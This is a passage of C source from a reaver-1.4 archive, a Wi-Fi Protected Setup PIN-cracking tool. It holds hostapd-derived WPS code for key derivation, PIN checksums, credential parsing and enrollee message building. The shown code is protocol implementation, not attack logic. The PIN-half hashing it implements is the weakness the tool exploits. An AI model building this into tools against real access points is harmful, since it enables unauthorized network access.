wpa_hexdump_key(MSG_DEBUG, "WPS: AuthKey", wps->authkey, WPS_AUTHKEY_LEN); wpa_hexdump_key(MSG_DEBUG, "WPS: KeyWrapKey", wps->keywrapkey, WPS_KEYWRAPKEY_LEN); wpa_hexdump_key(MSG_DEBUG, "WPS: EMSK", wps->emsk, WPS_EMSK_LEN); return 0; } void wps_derive_psk(struct wps_data *wps, const u8 *dev_passwd, size_t dev_passwd_len) { u8 hash[SHA256_MAC_LEN]; hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, dev_passwd, (dev_passwd_len + 1) / 2, hash); os_memcpy(wps->psk1, hash, WPS_PSK_LEN); hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, dev_passwd + (dev_passwd_len + 1) / 2, dev_passwd_len / 2, hash); os_memcpy(wps->psk2, hash, WPS_PSK_LEN); wpa_hexdump_ascii_key(MSG_DEBUG, "WPS: Device Password", dev_passwd, dev_passwd_len); wpa_hexdump_key(MSG_DEBUG, "WPS: PSK1", wps->psk1, WPS_PSK_LEN); wpa_hexdump_key(MSG_DEBUG, "WPS: PSK2", wps->psk2, WPS_PSK_LEN); } struct wpabuf * wps_decrypt_encr_settings(struct wps_data *wps, const u8 *encr, size_t encr_len) { struct wpabuf *decrypted; const size_t block_size = 16; size_t i; u8 pad; const u8 *pos; /* AES-128-CBC */ if (encr == NULL || encr_len < 2 * block_size || encr_len % block_size) { wpa_printf(MSG_DEBUG, "WPS: No Encrypted Settings received"); return NULL; } decrypted = wpabuf_alloc(encr_len - block_size); if (decrypted == NULL) return NULL; wpa_hexdump(MSG_MSGDUMP, "WPS: Encrypted Settings", encr, encr_len); wpabuf_put_data(decrypted, encr + block_size, encr_len - block_size); if (aes_128_cbc_decrypt(wps->keywrapkey, encr, wpabuf_mhead(decrypted), wpabuf_len(decrypted))) { wpabuf_free(decrypted); return NULL; } wpa_hexdump_buf_key(MSG_MSGDUMP, "WPS: Decrypted Encrypted Settings", decrypted); pos = wpabuf_head_u8(decrypted) + wpabuf_len(decrypted) - 1; pad = *pos; if (pad > wpabuf_len(decrypted)) { wpa_printf(MSG_DEBUG, "WPS: Invalid PKCS#5 v2.0 pad value"); wpabuf_free(decrypted); return NULL; } for (i = 0; i < pad; i++) { if (*pos-- != pad) { wpa_printf(MSG_DEBUG, "WPS: Invalid PKCS#5 v2.0 pad " "string"); wpabuf_free(decrypted); return NULL; } } decrypted->used -= pad; return decrypted; } /** * wps_pin_checksum - Compute PIN checksum * @pin: Seven digit PIN (i.e., eight digit PIN without the checksum digit) * Returns: Checksum digit */ unsigned int wps_pin_checksum(unsigned int pin) { unsigned int accum = 0; while (pin) { accum += 3 * (pin % 10); pin /= 10; accum += pin % 10; pin /= 10; } return (10 - accum % 10) % 10; } /** * wps_pin_valid - Check whether a PIN has a valid checksum * @pin: Eight digit PIN (i.e., including the checksum digit) * Returns: 1 if checksum digit is valid, or 0 if not */ unsigned int wps_pin_valid(unsigned int pin) { return wps_pin_checksum(pin / 10) == (pin % 10); } /** * wps_generate_pin - Generate a random PIN * Returns: Eight digit PIN (i.e., including the checksum digit) */ unsigned int wps_generate_pin(void) { unsigned int val; /* Generate seven random digits for the PIN */ if (os_get_random((unsigned char *) &val, sizeof(val)) < 0) { struct os_time now; os_get_time(&now); val = os_random() ^ now.sec ^ now.usec; } val %= 10000000; /* Append checksum digit */ return val * 10 + wps_pin_checksum(val); } void wps_fail_event(struct wps_context *wps, enum wps_msg_type msg) { union wps_event_data data; if (wps->event_cb == NULL) return; os_memset(&data, 0, sizeof(data)); data.fail.msg = msg; wps->event_cb(wps->cb_ctx, WPS_EV_FAIL, &data); } void wps_success_event(struct wps_context *wps) { if (wps->event_cb == NULL) return; wps->event_cb(wps->cb_ctx, WPS_EV_SUCCESS, NULL); } void wps_pwd_auth_fail_event(struct wps_context *wps, int enrollee, int part) { union wps_event_data data; if (wps->event_cb == NULL) return; os_memset(&data, 0, sizeof(data)); data.pwd_auth_fail.enrollee = enrollee; data.pwd_auth_fail.part = part; wps->event_cb(wps->cb_ctx, WPS_EV_PWD_AUTH_FAIL, &data); } void wps_pbc_overlap_event(struct wps_context *wps) { if (wps->event_cb == NULL) return; wps->event_cb(wps->cb_ctx, WPS_EV_PBC_OVERLAP, NULL); } void wps_pbc_timeout_event(struct wps_context *wps) { if (wps->event_cb == NULL) return; wps->event_cb(wps->cb_ctx, WPS_EV_PBC_TIMEOUT, NULL); } #ifdef CONFIG_WPS_OOB static struct wpabuf * wps_get_oob_cred(struct wps_context *wps) { struct wps_data data; struct wpabuf *plain; plain = wpabuf_alloc(500); if (plain == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to allocate memory for OOB " "credential"); return NULL; } os_memset(&data, 0, sizeof(data)); data.wps = wps; data.auth_type = wps->auth_types; data.encr_type = wps->encr_types; if (wps_build_version(plain) || wps_build_cred(&data, plain)) { wpabuf_free(plain); return NULL; } return plain; } static struct wpabuf * wps_get_oob_dev_pwd(struct wps_context *wps) { struct wpabuf *data; data = wpabuf_alloc(9 + WPS_OOB_DEVICE_PASSWORD_ATTR_LEN); if (data == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to allocate memory for OOB " "device password attribute"); return NULL; } wpabuf_free(wps->oob_conf.dev_password); wps->oob_conf.dev_password = wpabuf_alloc(WPS_OOB_DEVICE_PASSWORD_LEN * 2 + 1); if (wps->oob_conf.dev_password == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to allocate memory for OOB " "device password"); wpabuf_free(data); return NULL; } if (wps_build_version(data) || wps_build_oob_dev_password(data, wps)) { wpa_printf(MSG_ERROR, "WPS: Build OOB device password " "attribute error"); wpabuf_free(data); return NULL; } return data; } static int wps_parse_oob_dev_pwd(struct wps_context *wps, struct wpabuf *data) { struct oob_conf_data *oob_conf = &wps->oob_conf; struct wps_parse_attr attr; const u8 *pos; if (wps_parse_msg(data, &attr) < 0 || attr.oob_dev_password == NULL) { wpa_printf(MSG_ERROR, "WPS: OOB device password not found"); return -1; } pos = attr.oob_dev_password; oob_conf->pubkey_hash = wpabuf_alloc_copy(pos, WPS_OOB_PUBKEY_HASH_LEN); if (oob_conf->pubkey_hash == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to allocate memory for OOB " "public key hash"); return -1; } pos += WPS_OOB_PUBKEY_HASH_LEN; wps->oob_dev_pw_id = WPA_GET_BE16(pos); pos += sizeof(wps->oob_dev_pw_id); oob_conf->dev_password = wpabuf_alloc(WPS_OOB_DEVICE_PASSWORD_LEN * 2 + 1); if (oob_conf->dev_password == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to allocate memory for OOB " "device password"); return -1; } wpa_snprintf_hex_uppercase(wpabuf_put(oob_conf->dev_password, wpabuf_size(oob_conf->dev_password)), wpabuf_size(oob_conf->dev_password), pos, WPS_OOB_DEVICE_PASSWORD_LEN); return 0; } static int wps_parse_oob_cred(struct wps_context *wps, struct wpabuf *data) { struct wpabuf msg; struct wps_parse_attr attr; size_t i; if (wps_parse_msg(data, &attr) < 0 || attr.num_cred <= 0) { wpa_printf(MSG_ERROR, "WPS: OOB credential not found"); return -1; } for (i = 0; i < attr.num_cred; i++) { struct wps_credential local_cred; struct wps_parse_attr cattr; os_memset(&local_cred, 0, sizeof(local_cred)); wpabuf_set(&msg, attr.cred[i], attr.cred_len[i]); if (wps_parse_msg(&msg, &cattr) < 0 || wps_process_cred(&cattr, &local_cred)) { wpa_printf(MSG_ERROR, "WPS: Failed to parse OOB " "credential"); return -1; } wps->cred_cb(wps->cb_ctx, &local_cred); } return 0; } int wps_process_oob(struct wps_context *wps, struct oob_device_data *oob_dev, int registrar) { struct wpabuf *data; int ret, write_f, oob_method = wps->oob_conf.oob_method; void *oob_priv; write_f = oob_method == OOB_METHOD_DEV_PWD_E ? !registrar : registrar; oob_priv = oob_dev->init_func(wps, oob_dev, registrar); if (oob_priv == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to initialize OOB device"); return -1; } if (write_f) { if (oob_method == OOB_METHOD_CRED) data = wps_get_oob_cred(wps); else data = wps_get_oob_dev_pwd(wps); ret = 0; if (data == NULL || oob_dev->write_func(oob_priv, data) < 0) ret = -1; } else { data = oob_dev->read_func(oob_priv); if (data == NULL) ret = -1; else { if (oob_method == OOB_METHOD_CRED) ret = wps_parse_oob_cred(wps, data); else ret = wps_parse_oob_dev_pwd(wps, data); } } wpabuf_free(data); oob_dev->deinit_func(oob_priv); if (ret < 0) { wpa_printf(MSG_ERROR, "WPS: Failed to process OOB data"); return -1; } return 0; } struct oob_device_data * wps_get_oob_device(char *device_type) { #ifdef CONFIG_WPS_UFD if (os_strstr(device_type, "ufd") != NULL) return &oob_ufd_device_data; #endif /* CONFIG_WPS_UFD */ #ifdef CONFIG_WPS_NFC if (os_strstr(device_type, "nfc") != NULL) return &oob_nfc_device_data; #endif /* CONFIG_WPS_NFC */ return NULL; } #ifdef CONFIG_WPS_NFC struct oob_nfc_device_data * wps_get_oob_nfc_device(char *device_name) { if (device_name == NULL) return NULL; #ifdef CONFIG_WPS_NFC_PN531 if (os_strstr(device_name, "pn531") != NULL) return &oob_nfc_pn531_device_data; #endif /* CONFIG_WPS_NFC_PN531 */ return NULL; } #endif /* CONFIG_WPS_NFC */ int wps_get_oob_method(char *method) { if (os_strstr(method, "pin-e") != NULL) return OOB_METHOD_DEV_PWD_E; if (os_strstr(method, "pin-r") != NULL) return OOB_METHOD_DEV_PWD_R; if (os_strstr(method, "cred") != NULL) return OOB_METHOD_CRED; return OOB_METHOD_UNKNOWN; } #endif /* CONFIG_WPS_OOB */ int wps_dev_type_str2bin(const char *str, u8 dev_type[WPS_DEV_TYPE_LEN]) { const char *pos; /* -- */ WPA_PUT_BE16(dev_type, atoi(str)); pos = os_strchr(str, '-'); if (pos == NULL) return -1; pos++; if (hexstr2bin(pos, &dev_type[2], 4)) return -1; pos = os_strchr(pos, '-'); if (pos == NULL) return -1; pos++; WPA_PUT_BE16(&dev_type[6], atoi(pos)); return 0; } char * wps_dev_type_bin2str(const u8 dev_type[WPS_DEV_TYPE_LEN], char *buf, size_t buf_len) { int ret; ret = os_snprintf(buf, buf_len, "%u-%08X-%u", WPA_GET_BE16(dev_type), WPA_GET_BE32(&dev_type[2]), WPA_GET_BE16(&dev_type[6])); if (ret < 0 || (unsigned int) ret >= buf_len) return NULL; return buf; } void uuid_gen_mac_addr(const u8 *mac_addr, u8 *uuid) { const u8 *addr[2]; size_t len[2]; u8 hash[SHA1_MAC_LEN]; u8 nsid[16] = { 0x52, 0x64, 0x80, 0xf8, 0xc9, 0x9b, 0x4b, 0xe5, 0xa6, 0x55, 0x58, 0xed, 0x5f, 0x5d, 0x60, 0x84 }; addr[0] = nsid; len[0] = sizeof(nsid); addr[1] = mac_addr; len[1] = 6; sha1_vector(2, addr, len, hash); os_memcpy(uuid, hash, 16); /* Version: 5 = named-based version using SHA-1 */ uuid[6] = (5 << 4) | (uuid[6] & 0x0f); /* Variant specified in RFC 4122 */ uuid[8] = 0x80 | (uuid[8] & 0x3f); } u16 wps_config_methods_str2bin(const char *str) { u16 methods = 0; if (str == NULL) { /* Default to enabling methods based on build configuration */ methods |= WPS_CONFIG_DISPLAY | WPS_CONFIG_KEYPAD; #ifdef CONFIG_WPS_UFD methods |= WPS_CONFIG_USBA; #endif /* CONFIG_WPS_UFD */ #ifdef CONFIG_WPS_NFC methods |= WPS_CONFIG_NFC_INTERFACE; #endif /* CONFIG_WPS_NFC */ } else { if (os_strstr(str, "usba")) methods |= WPS_CONFIG_USBA; if (os_strstr(str, "ethernet")) methods |= WPS_CONFIG_ETHERNET; if (os_strstr(str, "label")) methods |= WPS_CONFIG_LABEL; if (os_strstr(str, "display")) methods |= WPS_CONFIG_DISPLAY; if (os_strstr(str, "ext_nfc_token")) methods |= WPS_CONFIG_EXT_NFC_TOKEN; if (os_strstr(str, "int_nfc_token")) methods |= WPS_CONFIG_INT_NFC_TOKEN; if (os_strstr(str, "nfc_interface")) methods |= WPS_CONFIG_NFC_INTERFACE; if (os_strstr(str, "push_button")) methods |= WPS_CONFIG_PUSHBUTTON; if (os_strstr(str, "keypad")) methods |= WPS_CONFIG_KEYPAD; } return methods; } reaver-1.4/src/wps/wps_attr_process.c0000755000175000017500000002021711705505257017355 0ustar reaverreaver/* * Wi-Fi Protected Setup - attribute processing * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/sha256.h" #include "wps_i.h" int wps_process_authenticator(struct wps_data *wps, const u8 *authenticator, const struct wpabuf *msg) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[2]; size_t len[2]; if (authenticator == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Authenticator attribute " "included"); return -1; } if (wps->last_msg == NULL) { wpa_printf(MSG_DEBUG, "WPS: Last message not available for " "validating authenticator"); return -1; } /* Authenticator = HMAC-SHA256_AuthKey(M_prev || M_curr*) * (M_curr* is M_curr without the Authenticator attribute) */ addr[0] = wpabuf_head(wps->last_msg); len[0] = wpabuf_len(wps->last_msg); addr[1] = wpabuf_head(msg); len[1] = wpabuf_len(msg) - 4 - WPS_AUTHENTICATOR_LEN; hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 2, addr, len, hash); if (os_memcmp(hash, authenticator, WPS_AUTHENTICATOR_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Incorrect Authenticator"); return -1; } return 0; } int wps_process_key_wrap_auth(struct wps_data *wps, struct wpabuf *msg, const u8 *key_wrap_auth) { u8 hash[SHA256_MAC_LEN]; const u8 *head; size_t len; if (key_wrap_auth == NULL) { wpa_printf(MSG_DEBUG, "WPS: No KWA in decrypted attribute"); return -1; } head = wpabuf_head(msg); len = wpabuf_len(msg) - 4 - WPS_KWA_LEN; if (head + len != key_wrap_auth - 4) { wpa_printf(MSG_DEBUG, "WPS: KWA not in the end of the " "decrypted attribute"); return -1; } hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, head, len, hash); if (os_memcmp(hash, key_wrap_auth, WPS_KWA_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Invalid KWA"); return -1; } return 0; } static int wps_process_cred_network_idx(struct wps_credential *cred, const u8 *idx) { if (idx == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include " "Network Index"); return -1; } wpa_printf(MSG_DEBUG, "WPS: Network Index: %d", *idx); return 0; } static int wps_process_cred_ssid(struct wps_credential *cred, const u8 *ssid, size_t ssid_len) { if (ssid == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include SSID"); return -1; } /* Remove zero-padding since some Registrar implementations seem to use * hardcoded 32-octet length for this attribute */ while (ssid_len > 0 && ssid[ssid_len - 1] == 0) ssid_len--; wpa_hexdump_ascii(MSG_DEBUG, "WPS: SSID", ssid, ssid_len); if (ssid_len <= sizeof(cred->ssid)) { os_memcpy(cred->ssid, ssid, ssid_len); cred->ssid_len = ssid_len; } return 0; } static int wps_process_cred_auth_type(struct wps_credential *cred, const u8 *auth_type) { if (auth_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include " "Authentication Type"); return -1; } cred->auth_type = WPA_GET_BE16(auth_type); wpa_printf(MSG_DEBUG, "WPS: Authentication Type: 0x%x", cred->auth_type); return 0; } static int wps_process_cred_encr_type(struct wps_credential *cred, const u8 *encr_type) { if (encr_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include " "Encryption Type"); return -1; } cred->encr_type = WPA_GET_BE16(encr_type); wpa_printf(MSG_DEBUG, "WPS: Encryption Type: 0x%x", cred->encr_type); return 0; } static int wps_process_cred_network_key_idx(struct wps_credential *cred, const u8 *key_idx) { if (key_idx == NULL) return 0; /* optional attribute */ wpa_printf(MSG_DEBUG, "WPS: Network Key Index: %d", *key_idx); cred->key_idx = *key_idx; return 0; } static int wps_process_cred_network_key(struct wps_credential *cred, const u8 *key, size_t key_len) { if (key == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include " "Network Key"); if (cred->auth_type == WPS_AUTH_OPEN && cred->encr_type == WPS_ENCR_NONE) { wpa_printf(MSG_DEBUG, "WPS: Workaround - Allow " "missing mandatory Network Key attribute " "for open network"); return 0; } return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: Network Key", key, key_len); if (key_len <= sizeof(cred->key)) { os_memcpy(cred->key, key, key_len); cred->key_len = key_len; } return 0; } static int wps_process_cred_mac_addr(struct wps_credential *cred, const u8 *mac_addr) { if (mac_addr == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include " "MAC Address"); return -1; } wpa_printf(MSG_DEBUG, "WPS: MAC Address " MACSTR, MAC2STR(mac_addr)); os_memcpy(cred->mac_addr, mac_addr, ETH_ALEN); return 0; } static int wps_process_cred_eap_type(struct wps_credential *cred, const u8 *eap_type, size_t eap_type_len) { if (eap_type == NULL) return 0; /* optional attribute */ wpa_hexdump(MSG_DEBUG, "WPS: EAP Type", eap_type, eap_type_len); return 0; } static int wps_process_cred_eap_identity(struct wps_credential *cred, const u8 *identity, size_t identity_len) { if (identity == NULL) return 0; /* optional attribute */ wpa_hexdump_ascii(MSG_DEBUG, "WPS: EAP Identity", identity, identity_len); return 0; } static int wps_process_cred_key_prov_auto(struct wps_credential *cred, const u8 *key_prov_auto) { if (key_prov_auto == NULL) return 0; /* optional attribute */ wpa_printf(MSG_DEBUG, "WPS: Key Provided Automatically: %d", *key_prov_auto); return 0; } static int wps_process_cred_802_1x_enabled(struct wps_credential *cred, const u8 *dot1x_enabled) { if (dot1x_enabled == NULL) return 0; /* optional attribute */ wpa_printf(MSG_DEBUG, "WPS: 802.1X Enabled: %d", *dot1x_enabled); return 0; } static void wps_workaround_cred_key(struct wps_credential *cred) { if (cred->auth_type & (WPS_AUTH_WPAPSK | WPS_AUTH_WPA2PSK) && cred->key_len > 8 && cred->key_len < 64 && cred->key[cred->key_len - 1] == 0) { /* * A deployed external registrar is known to encode ASCII * passphrases incorrectly. Remove the extra NULL termination * to fix the encoding. */ wpa_printf(MSG_DEBUG, "WPS: Workaround - remove NULL " "termination from ASCII passphrase"); cred->key_len--; } } int wps_process_cred(struct wps_parse_attr *attr, struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: Process Credential"); /* TODO: support multiple Network Keys */ if (wps_process_cred_network_idx(cred, attr->network_idx) || wps_process_cred_ssid(cred, attr->ssid, attr->ssid_len) || wps_process_cred_auth_type(cred, attr->auth_type) || wps_process_cred_encr_type(cred, attr->encr_type) || wps_process_cred_network_key_idx(cred, attr->network_key_idx) || wps_process_cred_network_key(cred, attr->network_key, attr->network_key_len) || wps_process_cred_mac_addr(cred, attr->mac_addr) || wps_process_cred_eap_type(cred, attr->eap_type, attr->eap_type_len) || wps_process_cred_eap_identity(cred, attr->eap_identity, attr->eap_identity_len) || wps_process_cred_key_prov_auto(cred, attr->key_prov_auto) || wps_process_cred_802_1x_enabled(cred, attr->dot1x_enabled)) return -1; wps_workaround_cred_key(cred); return 0; } int wps_process_ap_settings(struct wps_parse_attr *attr, struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: Processing AP Settings"); os_memset(cred, 0, sizeof(*cred)); /* TODO: optional attributes New Password and Device Password ID */ if (wps_process_cred_ssid(cred, attr->ssid, attr->ssid_len) || wps_process_cred_auth_type(cred, attr->auth_type) || wps_process_cred_encr_type(cred, attr->encr_type) || wps_process_cred_network_key_idx(cred, attr->network_key_idx) || wps_process_cred_network_key(cred, attr->network_key, attr->network_key_len) || wps_process_cred_mac_addr(cred, attr->mac_addr)) return -1; wps_workaround_cred_key(cred); return 0; } reaver-1.4/src/wps/wps_enrollee.c0000755000175000017500000007732011705505257016461 0ustar reaverreaver/* * Wi-Fi Protected Setup - Enrollee * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/crypto.h" #include "crypto/sha256.h" #include "wps_i.h" #include "wps_dev_attr.h" static int wps_build_mac_addr(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * MAC Address"); wpabuf_put_be16(msg, ATTR_MAC_ADDR); wpabuf_put_be16(msg, ETH_ALEN); wpabuf_put_data(msg, wps->mac_addr_e, ETH_ALEN); return 0; } static int wps_build_wps_state(struct wps_data *wps, struct wpabuf *msg) { u8 state; if (wps->wps->ap) state = wps->wps->wps_state; else state = WPS_STATE_NOT_CONFIGURED; wpa_printf(MSG_DEBUG, "WPS: * Wi-Fi Protected Setup State (%d)", state); wpabuf_put_be16(msg, ATTR_WPS_STATE); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, state); return 0; } static int wps_build_e_hash(struct wps_data *wps, struct wpabuf *msg) { u8 *hash; const u8 *addr[4]; size_t len[4]; if (os_get_random(wps->snonce, 2 * WPS_SECRET_NONCE_LEN) < 0) return -1; wpa_hexdump(MSG_DEBUG, "WPS: E-S1", wps->snonce, WPS_SECRET_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: E-S2", wps->snonce + WPS_SECRET_NONCE_LEN, WPS_SECRET_NONCE_LEN); if (wps->dh_pubkey_e == NULL || wps->dh_pubkey_r == NULL) { wpa_printf(MSG_DEBUG, "WPS: DH public keys not available for " "E-Hash derivation"); return -1; } wpa_printf(MSG_DEBUG, "WPS: * E-Hash1"); wpabuf_put_be16(msg, ATTR_E_HASH1); wpabuf_put_be16(msg, SHA256_MAC_LEN); hash = wpabuf_put(msg, SHA256_MAC_LEN); /* E-Hash1 = HMAC_AuthKey(E-S1 || PSK1 || PK_E || PK_R) */ addr[0] = wps->snonce; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk1; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); wpa_hexdump(MSG_DEBUG, "WPS: E-Hash1", hash, SHA256_MAC_LEN); wpa_printf(MSG_DEBUG, "WPS: * E-Hash2"); wpabuf_put_be16(msg, ATTR_E_HASH2); wpabuf_put_be16(msg, SHA256_MAC_LEN); hash = wpabuf_put(msg, SHA256_MAC_LEN); /* E-Hash2 = HMAC_AuthKey(E-S2 || PSK2 || PK_E || PK_R) */ addr[0] = wps->snonce + WPS_SECRET_NONCE_LEN; addr[1] = wps->psk2; hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); wpa_hexdump(MSG_DEBUG, "WPS: E-Hash2", hash, SHA256_MAC_LEN); return 0; } static int wps_build_e_snonce1(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * E-SNonce1"); wpabuf_put_be16(msg, ATTR_E_SNONCE1); wpabuf_put_be16(msg, WPS_SECRET_NONCE_LEN); wpabuf_put_data(msg, wps->snonce, WPS_SECRET_NONCE_LEN); return 0; } static int wps_build_e_snonce2(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * E-SNonce2"); wpabuf_put_be16(msg, ATTR_E_SNONCE2); wpabuf_put_be16(msg, WPS_SECRET_NONCE_LEN); wpabuf_put_data(msg, wps->snonce + WPS_SECRET_NONCE_LEN, WPS_SECRET_NONCE_LEN); return 0; } static struct wpabuf * wps_build_m1(struct wps_data *wps) { struct wpabuf *msg; if (os_get_random(wps->nonce_e, WPS_NONCE_LEN) < 0) return NULL; wpa_hexdump(MSG_DEBUG, "WPS: Enrollee Nonce", wps->nonce_e, WPS_NONCE_LEN); wpa_printf(MSG_DEBUG, "WPS: Building Message M1"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M1) || wps_build_uuid_e(msg, wps->uuid_e) || wps_build_mac_addr(wps, msg) || wps_build_enrollee_nonce(wps, msg) || wps_build_public_key(wps, msg) || wps_build_auth_type_flags(wps, msg) || wps_build_encr_type_flags(wps, msg) || wps_build_conn_type_flags(wps, msg) || wps_build_config_methods(msg, wps->wps->config_methods) || wps_build_wps_state(wps, msg) || wps_build_device_attrs(&wps->wps->dev, msg) || wps_build_rf_bands(&wps->wps->dev, msg) || wps_build_assoc_state(wps, msg) || wps_build_dev_password_id(msg, wps->dev_pw_id) || wps_build_config_error(msg, WPS_CFG_NO_ERROR) || wps_build_os_version(&wps->wps->dev, msg)) { wpabuf_free(msg); return NULL; } wps->state = RECV_M2; return msg; } static struct wpabuf * wps_build_m3(struct wps_data *wps) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "WPS: Building Message M3"); if (wps->dev_password == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Device Password available"); return NULL; } wps_derive_psk(wps, wps->dev_password, wps->dev_password_len); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M3) || wps_build_registrar_nonce(wps, msg) || wps_build_e_hash(wps, msg) || wps_build_authenticator(wps, msg)) { wpabuf_free(msg); return NULL; } wps->state = RECV_M4; return msg; } static struct wpabuf * wps_build_m5(struct wps_data *wps) { struct wpabuf *msg, *plain; wpa_printf(MSG_DEBUG, "WPS: Building Message M5"); plain = wpabuf_alloc(200); if (plain == NULL) return NULL; msg = wpabuf_alloc(1000); if (msg == NULL) { wpabuf_free(plain); return NULL; } if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M5) || wps_build_registrar_nonce(wps, msg) || wps_build_e_snonce1(wps, plain) || wps_build_key_wrap_auth(wps, plain) || wps_build_encr_settings(wps, msg, plain) || wps_build_authenticator(wps, msg)) { wpabuf_free(plain); wpabuf_free(msg); return NULL; } wpabuf_free(plain); wps->state = RECV_M6; return msg; } static int wps_build_cred_ssid(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * SSID"); wpabuf_put_be16(msg, ATTR_SSID); wpabuf_put_be16(msg, wps->wps->ssid_len); wpabuf_put_data(msg, wps->wps->ssid, wps->wps->ssid_len); return 0; } static int wps_build_cred_auth_type(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Authentication Type"); wpabuf_put_be16(msg, ATTR_AUTH_TYPE); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, wps->wps->auth_types); return 0; } static int wps_build_cred_encr_type(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Encryption Type"); wpabuf_put_be16(msg, ATTR_ENCR_TYPE); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, wps->wps->encr_types); return 0; } static int wps_build_cred_network_key(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Network Key"); wpabuf_put_be16(msg, ATTR_NETWORK_KEY); wpabuf_put_be16(msg, wps->wps->network_key_len); wpabuf_put_data(msg, wps->wps->network_key, wps->wps->network_key_len); return 0; } static int wps_build_cred_mac_addr(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * MAC Address (AP BSSID)"); wpabuf_put_be16(msg, ATTR_MAC_ADDR); wpabuf_put_be16(msg, ETH_ALEN); wpabuf_put_data(msg, wps->wps->dev.mac_addr, ETH_ALEN); return 0; } static int wps_build_ap_settings(struct wps_data *wps, struct wpabuf *plain) { if (wps->wps->ap_settings) { wpa_printf(MSG_DEBUG, "WPS: * AP Settings (pre-configured)"); wpabuf_put_data(plain, wps->wps->ap_settings, wps->wps->ap_settings_len); return 0; } return wps_build_cred_ssid(wps, plain) || wps_build_cred_mac_addr(wps, plain) || wps_build_cred_auth_type(wps, plain) || wps_build_cred_encr_type(wps, plain) || wps_build_cred_network_key(wps, plain); } static struct wpabuf * wps_build_m7(struct wps_data *wps) { struct wpabuf *msg, *plain; wpa_printf(MSG_DEBUG, "WPS: Building Message M7"); plain = wpabuf_alloc(500 + wps->wps->ap_settings_len); if (plain == NULL) return NULL; msg = wpabuf_alloc(1000 + wps->wps->ap_settings_len); if (msg == NULL) { wpabuf_free(plain); return NULL; } if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M7) || wps_build_registrar_nonce(wps, msg) || wps_build_e_snonce2(wps, plain) || (wps->wps->ap && wps_build_ap_settings(wps, plain)) || wps_build_key_wrap_auth(wps, plain) || wps_build_encr_settings(wps, msg, plain) || wps_build_authenticator(wps, msg)) { wpabuf_free(plain); wpabuf_free(msg); return NULL; } wpabuf_free(plain); if (wps->wps->ap && wps->wps->registrar) { /* * If the Registrar is only learning our current configuration, * it may not continue protocol run to successful completion. * Store information here to make sure it remains available. */ wps_device_store(wps->wps->registrar, &wps->peer_dev, wps->uuid_r); } wps->state = RECV_M8; return msg; } static struct wpabuf * wps_build_wsc_done(struct wps_data *wps) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "WPS: Building Message WSC_Done"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_WSC_DONE) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg)) { wpabuf_free(msg); return NULL; } if (wps->wps->ap) wps->state = RECV_ACK; else { wps_success_event(wps->wps); wps->state = WPS_FINISHED; } return msg; } static struct wpabuf * 